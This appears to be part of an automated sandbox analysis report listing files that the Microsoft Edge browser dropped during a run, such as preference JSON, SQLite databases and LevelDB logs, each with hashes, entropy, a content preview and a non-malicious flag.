Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b936f19a-51d0-474d-9e71-4b3114bbbf40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17464), with no line terminators
Category:	dropped
Size (bytes):	17466
Entropy (8bit):	5.491809485203991
Encrypted:	false
SSDEEP:	384:st9PGQSu4XstqtJjWY0WOPj1mt2bGLQwVv:sfOXu9qt0WhEbGky
MD5:	56C36B17E332A2B2170F80763217FC51
SHA1:	7E995236F71E3F0153AE95E21E4B9C2FD512FE4A
SHA-256:	CC472A2A23D5DE32A9278EADAD4747B7F78F4E9FC7377221C307AE15B251AC5F
SHA-512:	2EE93639BE35C5AE75B8F31D6724907E82E5A5B759339E9731CBABA130BADDED2E895ABD5F0EA55D51938E63AAE52B1DABEAE367632F1375D9B3C90169EDEC79
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d1c1e1a0-1b97-482f-9840-d6daf7a10e6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561759438289536
Encrypted:	false
SSDEEP:	768:1WLo72C7pLGLp4CWPyYf/B8F1+UoAYDCx9Tuqh0VfUC9xbog/OVV+TUx8vrwdY/h:1WLoiacp4CWPyYf/Bu1jak+Tq8cdY/ZL
MD5:	7C5778A4DFB57651962933287F61FE64
SHA1:	22F81287B4C49ED1E4E7720B8D4A2461DF693658
SHA-256:	510ADB21A4A21596434F8310D11597C369C9082D5D355B0726A350CDFBBDBA7B
SHA-512:	03E94F3301327F596434A841133AE0D0ED56FF3DAB756A2006DFDD56121B54BCE9F1AF3D0D9D84F6468ABF44F2D385E5134B0EDC442D107939B594594BA47D63
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376356589906731","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376356589906731","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e136a964-35e6-4a14-aad2-6b38465c6ae9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17464), with no line terminators
Category:	dropped
Size (bytes):	17466
Entropy (8bit):	5.491653425082958
Encrypted:	false
SSDEEP:	384:st9PGQSu4XstqtJjWY0WOPj1mt2bGLQwHv:sfOXu9qt0WhEbGkk
MD5:	4D269DBA1284BB1D4017AE41E5C00A91
SHA1:	D07CF86B90F7C07636C4C4A333DE35462DE7E40E
SHA-256:	016DAA24F4893AA35011CB69FCD3564807DE487E656EFF6B297E61157ACADF06
SHA-512:	87777E14FB5E6F394F3F5B49EDC462C5E28691F6C23DDF55C9B41FCA636772462FAD981778576195C45077F90FAAF05FC7793F8D0BA38987F206CB94C36DE1CA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376356591864345","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10255339934013274
Encrypted:	false
SSDEEP:	12:+GPgiGPgTDspEjVl/PnnnnnnnnnnnvoQ/Eou:+WzWxoPnnnnnnnnnnnv1j
MD5:	DBBBD709ED35FF3113546F5CF0D6121C
SHA1:	D88B8E0003BEAE6FBF17562760D50605913065EA
SHA-256:	27B3497C5593D098DB5D2CCD5258D22A44645C332E60108EF9DAE167BE3B9084
SHA-512:	722E0258FEBD060D8BD9EC320AA496451115C8D11D038CC281C5463B03280A7169DB5B31E3B23B4D16905AF77F989710E92C0908A3B034A6A9DFAD7A44A87E9C
Malicious:	false
Preview:	..-.............M.........s..l..3.-........U.Es...-.............M.........s..l..3.-........U.Es.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8897844923120984
Encrypted:	false
SSDEEP:	384:J7qXH74pT7+tuJ7yBoJ7Ab3J7nTcJ73iRJ7pGkJ7OsUJ7lHfe1NJ71sv8pyyy2UP:9qr4t+cyGAhnw3gpLOdl/I1TW
MD5:	0A6BFA3BC2D0F8D70271E1DC636E2B7C
SHA1:	CA2D01A2141F5C1807E3135FCCDB198C221821F6
SHA-256:	28FD919A27CE19175F46DDA927993A0078785FBD77E4F01DE5F39F41A3B0DB6D
SHA-512:	1795380A0F97B1909F5092AB704B5FF48F2F05D3402F87415DDAF6B7406ABD3A3CBD069FB6A56D80BE5600E9656F6D7FA0E0EA24D9DA8B5070903B2548CE7028
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.009575858846187
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuu/t5ill2twKBEuwsedhOACn:llc8BOuuuuuuuuu/tMllG8G
MD5:	D2E0FB983DEECB0658A909E22FFE86A2
SHA1:	7229DF999BA453F489955C57AAE89EB24C88CB18
SHA-256:	C83A38F0210FEE41BE290BFEA960CDA1995EBC109FEAD74F47AEFB4038C162AD
SHA-512:	7D52CF6D0A3C57FBE8BFE5DE4F6160E688F5FE67CC54916C1D35C52EEBB2F58013A22291A8CB862D408E9AB5A0E308B16CF6ED315916C356B84CEC8E380F6300
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................W.H;...............#38_h.......6.Z..W.F.....K.......K............V.e................V.e................V.e................>0d.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.221874139354995
Encrypted:	false
SSDEEP:	6:HUeTfF/Aq2PcNwi23oH+TcwtfrK+IFUt8YUeTfFKZmw+YUeTfF2kwOcNwi23oH+t:1Tt/AvLZYeb23FUt8ATtK/+ATt254ZYq
MD5:	4312D7158E68374D6ABF67730493537D
SHA1:	9C1AF741034525F3DC8A1700A65E074239572E5D
SHA-256:	BA832B3EB987D853D22DC952BBA18EF073824C00637DD721D50A4B94952FD805
SHA-512:	B72AE534145A72A01A39449C465817FF5130BCBAA71DAF4928F33E2D099C733C14513C7088C5BA3B509308CC88D9581E79F708D6CF0E8C6612B423F7B21C685C
Malicious:	false
Preview:	2024/11/17-17:36:31.911 7f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-17:36:31.912 7f0 Recovering log #3.2024/11/17-17:36:31.912 7f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.221874139354995
Encrypted:	false
SSDEEP:	6:HUeTfF/Aq2PcNwi23oH+TcwtfrK+IFUt8YUeTfFKZmw+YUeTfF2kwOcNwi23oH+t:1Tt/AvLZYeb23FUt8ATtK/+ATt254ZYq
MD5:	4312D7158E68374D6ABF67730493537D
SHA1:	9C1AF741034525F3DC8A1700A65E074239572E5D
SHA-256:	BA832B3EB987D853D22DC952BBA18EF073824C00637DD721D50A4B94952FD805
SHA-512:	B72AE534145A72A01A39449C465817FF5130BCBAA71DAF4928F33E2D099C733C14513C7088C5BA3B509308CC88D9581E79F708D6CF0E8C6612B423F7B21C685C
Malicious:	false
Preview:	2024/11/17-17:36:31.911 7f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/17-17:36:31.912 7f0 Recovering log #3.2024/11/17-17:36:31.912 7f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.220755524111446
Encrypted:	false
SSDEEP:	6:HUeTfM7Q+q2PcNwi23oH+TcwtfrzAdIFUt8YUeTfM7gZmw+YUeTfM7QVkwOcNwiX:1TU0+vLZYeb9FUt8ATUU/+ATU0V54ZY/
MD5:	C52A71E2AB4E2ED19A5AF7D256AC7A1D
SHA1:	23CCA01321638E942C449466C335DCD3B09C013F
SHA-256:	E906A4B2EBBB445C348007F87D152B80EA5CAF0F19584F70FC932987A99CFA40
SHA-512:	87687914AD74222C1B8CAB765371D0C194B9957CA605BE799683BD146D29D5BD5B5FA86FD5414BA096FDAA72BB81E585849F9B072CCC5BB474DFB4241662A4EE
Malicious:	false
Preview:	2024/11/17-17:36:31.874 13dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-17:36:31.874 13dc Recovering log #3.2024/11/17-17:36:31.874 13dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.220755524111446
Encrypted:	false
SSDEEP:	6:HUeTfM7Q+q2PcNwi23oH+TcwtfrzAdIFUt8YUeTfM7gZmw+YUeTfM7QVkwOcNwiX:1TU0+vLZYeb9FUt8ATUU/+ATU0V54ZY/
MD5:	C52A71E2AB4E2ED19A5AF7D256AC7A1D
SHA1:	23CCA01321638E942C449466C335DCD3B09C013F
SHA-256:	E906A4B2EBBB445C348007F87D152B80EA5CAF0F19584F70FC932987A99CFA40
SHA-512:	87687914AD74222C1B8CAB765371D0C194B9957CA605BE799683BD146D29D5BD5B5FA86FD5414BA096FDAA72BB81E585849F9B072CCC5BB474DFB4241662A4EE
Malicious:	false
Preview:	2024/11/17-17:36:31.874 13dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/17-17:36:31.874 13dc Recovering log #3.2024/11/17-17:36:31.874 13dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2552b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2553a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2578c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089551219895557
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k/TKKGf4SZtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynmt5b7VLyMV/YoskFoz
MD5:	164F7A432A30313F3468755893310A3B
SHA1:	3A266EDDD57AC9D1B0588442BE7AC143570A4789
SHA-256:	7588583155A05E791DE92E86834D7A585B4C60793C3857779FD13E7349C3559E
SHA-512:	9D249461434F29ABC929FE176C3B6DC84FD816BB2EF3F71E9AE89DF5F509350B3B81C28265BFCEC51DE75C9597E15E76BFE44FA43774E87FD0CD62860E168298
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27db2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
